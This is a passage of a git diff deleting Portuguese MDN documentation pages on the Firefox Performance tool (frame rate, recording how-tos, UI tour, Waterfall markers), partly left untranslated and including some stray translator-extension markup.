-<p>In web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. Frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. But frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it.</p>
-
-<p>For example, if moving the mouse over some page element triggers some JavaScript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. If it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky).</p>
-
-<p>Similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze.</p>
-
-<p>In general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging.</p>
-
-<div class="note">
-<p>A frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event.</p>
-
-<p>However, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze.</p>
-</div>
-
-<h2 id="Gráfico_da_frame_rate">Gráfico da frame rate</h2>
-
-<p>The frame rate graph is found in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Recording_overview">Recording overview</a> part of the Performance tool. It takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11025/perf-frame-rate.png" style="display: block; height: 66px; margin-left: auto; margin-right: auto; width: 900px;">The x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate.</p>
-
-<h2 id="Utilização_do_gráfico_de_frame_rate">Utilização do gráfico de <em>frame rate</em></h2>
-
-<p>The great value of the frame rate graph is that, like the <a href="/en-US/docs/Tools/Web_Console">Web Console</a>, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. For example, here's a screenshot of a performance profile:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11023/perf-fr-waterfall.png" style="display: block; height: 413px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p>You can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. This would certainly cause a noticeable stutter for any animations that were playing in the page.</p>
-
-<p>The frame rate graph is correlated with the <a href="/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">waterfall summary</a> directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing JavaScript.</p>
-
-<p>If we select one of these slices of the recording, the main <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall view</a> underneath it is zoomed into it, and we can see the function that's causing the problem:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11027/perf-zoom.png" style="display: block; height: 504px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p>We have a JavaScript function from a click event that's blocking the main thread for 170 milliseconds.</p>
-
-<p>Which function, though? Switch to the <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> to see the call stack at that point:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11021/perf-fr-flame-chart.png" style="display: block; height: 413px; margin-left: auto; margin-right: auto; width: 900px;"></p>
-
-<p>The offending function is called <code>doPointlessComputations()</code>, and it's defined in "main.js". To fix it, we might consider splitting it into pieces and running the pieces inside <code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></code>, or even running the entire function in a <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">worker</a>. The <a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a> article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous JavaScript.</p>
diff --git a/files/pt-pt/tools/performance/how_to/index.html b/files/pt-pt/tools/performance/how_to/index.html
deleted file mode 100644
index 3e3f37f752..0000000000
--- a/files/pt-pt/tools/performance/how_to/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Como fazer!
-slug: Tools/Performance/How_to
-translation_of: Tools/Performance/How_to
-original_slug: Tools/Desempenho/Como_fazer
----
-<div>{{ToolsSidebar}}</div>
-
-<h2 id="Abrir_as_ferramentas_de_«Desempenho»">Abrir as ferramentas de «Desempenho»</h2>
-
-<p>Para abrir as ferramentas de <strong>Desempenho</strong>:</p>
-
-<ul>
- <li>pressione Shift + F5</li>
- <li>selecione "Desempenho" no submenu das "Ferramentas de Programação" no Menu do Firefox (ou no menu das <strong>Ferramenats</strong> se exibir a barra do menu ou está num OS X)</li>
- <li>selecione "Desempenho" no botão <strong>Ferramentas</strong>, na «Barra de Ferramentas», se tiver uma:<img alt="" src="https://mdn.mozillademos.org/files/10997/devtools-button.png" style="height: 76px; width: 728px;"></li>
-</ul>
-
-<h2 id="Gravar_um_perfil">Gravar um perfil</h2>
-
-<p>To start a new recording, press the stopwatch icon in the Recordings pane. To stop, press it again:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13230/perf-record.png" style="display: block; height: 346px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<p>You can also start and stop recording from the Web Console, using <code><a href="/en-US/docs/Web/API/Console/profile">console.profile()</a></code> and <code><a href="/en-US/docs/Web/API/Console/profileEnd">console.profileEnd()</a></code>.</p>
-
-<h2 id="Guardar_um_perfil">Guardar um perfil</h2>
-
-<p>To save a profile, click the link labeled "Save" in the Recordings pane:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13232/perf-save.png" style="display: block; height: 333px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<h2 id="Carregar_um_perfil">Carregar um perfil</h2>
-
-<p>To load a profile, click "Import..." and choose the file:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13226/perf-load.png" style="display: block; height: 694px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<h2 id="Limpar_todos_os_perfis_carregados">Limpar todos os perfis carregados</h2>
-
-<p>To clear all loaded profiles, click "Clear".</p>
-
-<div class="note">
-<p>If you do this, you'll lose any loaded profiles that you have not saved.</p>
-</div>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13224/perf-clear.png" style="display: block; height: 353px; margin-left: auto; margin-right: auto; width: 818px;"></p>
-
-<h2 id="Selecionar_uma_ferramenta">Selecionar uma ferramenta</h2>
-
-<p>To switch between the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> tools, use the buttons in the toolbar:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13234/perf-select.png" style="display: block; height: 347px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<h2 id="Configurar_marcadores_exibidos">Configurar marcadores exibidos</h2>
-
-<p>To control which markers are shown in the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, use the button in the toolbar:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13228/perf-markers.png" style="display: block; height: 347px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<h2 id="Zoom">Zoom +</h2>
-
-<p>To zoom into a slice of the recording, select that slice in the recording overview:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13236/perf-zoom.png" style="display: block; height: 333px; margin-left: auto; margin-right: auto; width: 799px;"></p>
diff --git a/files/pt-pt/tools/performance/index.html b/files/pt-pt/tools/performance/index.html
deleted file mode 100644
index 02d62da901..0000000000
--- a/files/pt-pt/tools/performance/index.html
+++ /dev/null
@@ -1,186 +0,0 @@
----
-title: Desempenho
-slug: Tools/Performance
-tags:
- - Aprender
- - Desempenho
- - Desempenho da Web
- - Ferramentas de Desenvolvimento
- - Ferramentas de Programação
-translation_of: Tools/Performance
-original_slug: Tools/Desempenho
----
-<div>{{ToolsSidebar}}</div>
-
-<p>A ferramenta de <strong>Desempenho</strong> mostra-lhe a resposta geral do seu site, o desempenho da disposição e JavaScript. Com esta ferramenta pode criar um registo, ou perfil, do seu site durante um período do tempo.  A ferramenta depois mostra-lhe uma <a href="/pt-PT/docs/Tools/Performance/Guia_da_IU#Resumo_de_Waterfall">sinopse </a>das coisas que o navegador esteve a fazer ao renderizar o seu site sob o perfil, e um gráfico da <em><a href="/pt-PT/docs/Tools/Desempenho/Frame_rate">frame rate</a></em> sob o perfil.</p>
-
-<p>Tem quatro subferramentas para examinar os aspetos do perfil em mais detalhe:</p>
-
-<ul>
- <li>a <a href="/pt-PT/docs/Tools/Desempenho/Cascata">Waterfall</a> mostra-lhe diferentes operações que o navegador estava a realizar, tais como disposição, JavaScript, <em>repaints</em>, e coleção de lixo</li>
- <li>a <a href="/pt-PT/docs/Tools/Desempenho/Arvore_de_Chamada">Árvore de Chamada </a>mostra as funções de JavaScript nas quais o navegador gasta a mior parte do seu tempo</li>
- <li>the <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> shows the JavaScript call stack over the course of the recording</li>
- <li>the <a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a> view shows the heap allocations made by your code over the course of the recording. This view only appears if you checked "Record Allocations" in the Performance tool settings.</li>
-</ul>
-
-<p>{{EmbedYouTube("WBmttwfA_k8")}}</p>
-
-<hr>
-<h2 id="Iniciação">Iniciação</h2>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Performance/Guia_da_IU">Guia da IU</a></dt>
- <dd>
- <p>To find your way around the Performance tool, here's a quick tour of the UI.</p>
- </dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Desempenho/Como_fazer">Como fazer!</a></dt>
- <dd>Basic tasks: open the tool, create, save, load, and configure recordings</dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h2 id="Componentes_da_ferramenta_«Desemepenho»">Componentes da ferramenta «Desemepenho»</h2>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><em><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate</a></em></dt>
- <dd>Understand your site's overall responsiveness.</dd>
- <dt><a href="/pt-PT/docs/Tools/Desempenho/Arvore_de_Chamada">Árvore de Chamada</a></dt>
- <dd>Find bottlenecks in your site's JavaScript.</dd>
- <dt><a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a></dt>
- <dd>See the allocations made by your code over the course of the recording.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/pt-PT/docs/Tools/Desempenho/Cascata">Cascata</a></dt>
- <dd>Understand the work the browser's doing as the user interacts with your site.</dd>
- <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></dt>
- <dd>See which JavaScript functions are executing, and when, over the course of the recording.</dd>
- <dd></dd>
-</dl>
-</div>
-</div>
-
-<hr>
-<h2 id="Cenários">Cenários</h2>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animating CSS properties</a></dt>
- <dd>Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.</dd>
- <dd></dd>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a></dt>
- <dd>Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.</dd>
-</dl>
-</div>
-</div>
-
-
-
-<div class="column-half">
-<dl>
- <dd></dd>
-</dl>
-</div>
-
-
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style=""></div>
-
-<div id="SL_shadow_translation_result2" class="hidden"></div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_alert_cont"></div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"></div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"></div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"></div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"></div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"></div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"></div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_player2"></div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"></div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/performance/ui_tour/index.html b/files/pt-pt/tools/performance/ui_tour/index.html
deleted file mode 100644
index 3ceafcf3d5..0000000000
--- a/files/pt-pt/tools/performance/ui_tour/index.html
+++ /dev/null
@@ -1,128 +0,0 @@
----
-title: Guia da IU (Interface do Utilizador)
-slug: Tools/Performance/UI_Tour
-translation_of: Tools/Performance/UI_Tour
-original_slug: Tools/Performance/Guia_da_IU
----
-<div>{{ToolsSidebar}}</div><p>A 'IU - Interface do Utilizador' da ferramenta desempenho consiste em 4 partes principais:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13220/perf-tool-pieces.png" style="display: block; height: 351px; margin-left: auto; margin-right: auto; width: 808px;"></p>
-
-<ul>
- <li><a href="/pt-PT/docs/Tools/Performance/Guia_da_IU#Barra_de_Ferramentas">Barra de Ferramentas</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Tools/Performance/Guia_da_IU#Painel_de_gravações">Painel de gravações</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Tools/Performance/Guia_da_IU#Resumo_da_gravação">Resumo da gravação</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Tools/Performance/Guia_da_IU#Painel_de_detalhes">Painel de detalhes</a>, que poderá conter qualquer um de:
- <ul>
- <li><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></li>
- <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></li>
- <li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Barra_de_Ferramentas">Barra de Ferramentas</h2>
-
-<p>A barra de ferramentas contém botões para:</p>
-
-<ul>
- <li>iniciar e parar a gravação</li>
- <li>importar uma gravação anteriormente guardada</li>
- <li>limpar o painel de 'Gravações'. <em>Note que se o fizer, perde quaisquer gravações que não tenha guardado.</em></li>
- <li>filtrar os <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">marcadores</a> que são exibidos na bisualização de <em>Waterfall</em></li>
- <li>mude a ferramenta ativa no painel de '<a href="/pt-PT/docs/Tools/Performance/Guia_IU#Painel_de_detalhes">Detalhes'</a>.</li>
- <li>aceder à janela das 'Definições'</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13222/perf-toolbar.png" style="display: block; height: 434px; margin-left: auto; margin-right: auto; width: 836px;"></p>
-
-<h2 id="Painel_de_gravações">Painel de gravações</h2>
-
-<p>The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10917/perf-recordings-pane.png" style="display: block; height: 337px; margin-left: auto; margin-right: auto; width: 300px;"></p>
-
-<p>At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".</p>
-
-<h2 id="Resumo_da_gravação">Resumo da gravação</h2>
-
-<p>This displays an overview of the entire recording, with the x-axis representing time.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10919/perf-overview.png" style="display: block; height: 164px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>It contains two elements: an overview of the Waterfall and a frame rate graph.</p>
-
-<h3 id="Resumo_de_Waterfall">Resumo de Waterfall</h3>
-
-<p>This presents a compressed view of the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10923/perf-waterfall-overview.png" style="display: block; height: 76px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>Recorded operations are color-coded using <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">the same scheme as in the main Waterfall view</a>.</p>
-
-<h3 id="Gráfico_de_taxa_de_imagem">Gráfico de taxa de imagem</h3>
-
-<p>The frame rate gives you an overview of the browser's responsiveness during the recording:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10921/perf-frame-rate.png" style="display: block; height: 88px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>See the separate article on <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a>.</p>
-
-<h3 id="Eventos_dependentes">Eventos dependentes</h3>
-
-<p>Because these elements are synchronized, you can correlate events in one element with events in another.</p>
-
-<p>For example, in the screenshot below a long-running paint operation (<a href="/en-US/docs/Tools/Performance/Waterfall#Markers">shown as a green bar</a> in the waterfall overview) corresponds to a drop in the frame rate:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10925/perf-overview-correlation.png" style="display: block; height: 494px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<h3 id="Zoom">Zoom</h3>
-
-<p>You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10927/perf-zoomed.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<h2 id="Painel_de_detalhes">Painel de detalhes</h2>
-
-<p>The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">Toolbar</a>.</p>
-
-<h3 id="Waterfall">Waterfall</h3>
-
-<p>The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10929/perf-waterfall.png" style="display: block; height: 568px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>To learn much more about the Waterfall, see the separate <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> page.</p>
-
-<h3 id="Call_Tree">Call Tree</h3>
-
-<p>The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10949/perf-call-tree.png" style="display: block; height: 384px; margin-left: auto; margin-right: auto; width: 972px;"><br>
- To learn much more about the Call Tree, see the separate <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> page.</p>
-
-<h3 id="Flame_Chart">Flame Chart</h3>
-
-<p>If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10933/perf-flame-chart.png" style="display: block; height: 504px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>To learn much more about the Flame Chart, see the separate <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> page.</p>
-
-<h3 id="Alocações">Alocações</h3>
-
-<div class="geckoVersionNote">
-<p>The Allocations view is new in Firefox 46.</p>
-</div>
-
-<p>The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12413/allocations-view-1.png" style="display: block; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:</p>
-
-<p>{{EmbedYouTube("Le9tTo7bqts")}}</p>
-
-<p>To learn much more about the Allocations view, see the separate <a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a> page.</p>
-
-<p> </p>
diff --git a/files/pt-pt/tools/performance/waterfall/index.html b/files/pt-pt/tools/performance/waterfall/index.html
deleted file mode 100644
index ba31aa2693..0000000000
--- a/files/pt-pt/tools/performance/waterfall/index.html
+++ /dev/null
@@ -1,564 +0,0 @@
----
-title: Cascata
-slug: Tools/Performance/Waterfall
-translation_of: Tools/Performance/Waterfall
-original_slug: Tools/Desempenho/Cascata
----
-<div>{{ToolsSidebar}}</div><div class="summary">
-<p>A '<strong>Cascata</strong>' (Waterfall) mostra-lhe várias coisas que o navegador está a fazer na medida em que este excecuta o seu site ou aplicação. É baseado na ideia de que as coisas que o navegador faz quando executa um site pode ser dividido em vários tipos - executar JavaScript, atualizar a disposição, etc... - e que em qualquer ponto no tempo, o navegador está a fazer essas coisas.</p>
-
-<p>Assim, se vir um sinal de um problema de desempenho - uma quebra na <em>frame rate</em>, por exemplo - pode ir para a 'Cascata' para ver o que o navegador estava a fazer nesse ponto da gravação.</p>
-</div>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10951/perf-waterfall.png" style="display: block; height: 568px; margin-left: auto; margin-right: auto; width: 972px;"></p>
-
-<p>Along the X-axis is time. Recorded operations, called markers, are shown as horizontal bars, laid out in a waterfall to reflect the serial nature of the browser's execution.</p>
-
-<p>When a marker is selected you'll see more information about it in a sidebar on the right. This includes the marker's duration and some more information that's specific to the <a href="/en-US/docs/Tools/Performance/Waterfall#Markers">marker type</a>.</p>
-
-<h2 id="Marcadores"><a id="timeline-color-coding" name="timeline-color-coding"></a>Marcadores</h2>
-
-<p>The markers for operations are color-coded and labeled. The following operations are recorded:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col" style="width: 20%;">Nome e descrição</th>
- <th scope="col">Cor</th>
- <th scope="col">Informação detalhada</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td style="width: 40%;">
- <p><a id="DOM_Event_Marker" name="DOM_Event_Marker"><strong>DOM Event</strong></a></p>
-
- <p>JavaScript code that's executed in response to a DOM event.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10703/orange.png" style="height: 21px; width: 60px;"></td>
- <td style="width: 45%;">
- <dl>
- <dt>Event Type</dt>
- <dd>For example, "click" or "message".</dd>
- </dl>
-
- <dl>
- <dt>Event Phase</dt>
- <dd>For example, "Target" or "Capture".</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
